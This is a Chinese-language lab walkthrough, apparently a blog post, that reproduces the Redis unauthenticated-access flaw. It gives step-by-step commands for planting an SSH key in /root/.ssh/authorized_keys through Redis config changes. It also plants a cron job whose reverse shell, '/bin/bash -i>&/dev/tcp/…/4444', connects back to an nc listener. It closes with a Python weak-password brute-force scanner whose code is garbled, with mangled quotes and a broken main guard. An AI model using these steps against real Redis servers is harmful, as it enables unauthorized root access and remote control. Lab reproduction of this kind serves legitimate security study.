首先,搭建redis,进行安装.以下为安装步骤: 1下载安装包命令为wget http://download.redis.io/releases/redis-2.8.17.tar.gz 2 tar xzvf redis-2.8.17.tar.gz #解压安装 3 cd redis-2.8.17 # 进入redis目录 4 make #编译 5 cd src/ cp redis-cli /usr/bin/ #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了) cd … cp redis.conf /etc/ #将redis.conf拷贝到/etc/目录下 redis-server /etc/redis.conf # 使用/etc/目录下的redis.conf文件中的配置启动redis服务 便可成功启动服务
稍后补充
在攻击机kail当中 输入命令redis-cli -h 192.168.33.132 -p 6379
会发现 无法连接,这里的原因是Centos的防火墙没关,关闭防火墙后,会是这个
到此,redis未授权漏洞复现完成1 写入ssh进行getshell 需要条件:知道启动服务的用户 拥有.ssh目录 允许使用基于密钥认证的方式登陆 执行命令ssh-keygen -t rsa ,得到应该写入的公钥 输入命令(echo -e “\n\n”; cat root.pub;echo -e “\n\n”) > 1.txt然后将生成的公钥保存在相应的txt文档中(相当于再公钥前端和后端都加入字符\n\n)
登录redis使用命令keys * 查看keys,然后config get dir 获取当前用户路径 set x +公钥写入 ![(如果当前用户没有.ssh文件夹,执行ssh localhost就有了) 更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh或者是/home/user/.ssh) 设置上传公钥的备份文件名字为authorized_keys: 执行命令sava然后进行ssh连接 成功ssh进行连接
(如果ssh无法连接 大概率是服务器端/etc/ssh/sshd_config配置文件不准密钥登录或者设置/home/wang/.ssh/authorized_keys为600权限)
再攻击机kail上面执行nc -lvnp 444进行监听 然后分别执行一下命令
set xxx “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.33.129/4444 0>&1\n\n” config set dir /var/spool/cron config set dbfilename wang save 过一分钟便可收到shell
稍后补充
#! /usr/bin/env python
import socket import sys def check(ip, port, timeout): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send(“INFO\r\n”) result = s.recv(1024) if “redis_version” in result: return u"未授权访问" elif “Authentication” in result: file = open(“passwd.txt”) for passwd in file.readlines(): pass = passwd.strip(’\n’) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send(“AUTH %s\r\n” %(pass)) result = s.recv(1024) if ‘+OK’ in result: return u"存在弱口令,密码:%s" % (pass) file.close() except Exception, e: pass if name == ‘main’: ip=sys.argv[1] port=sys.argv[2] print check(ip,port, timeout=10)
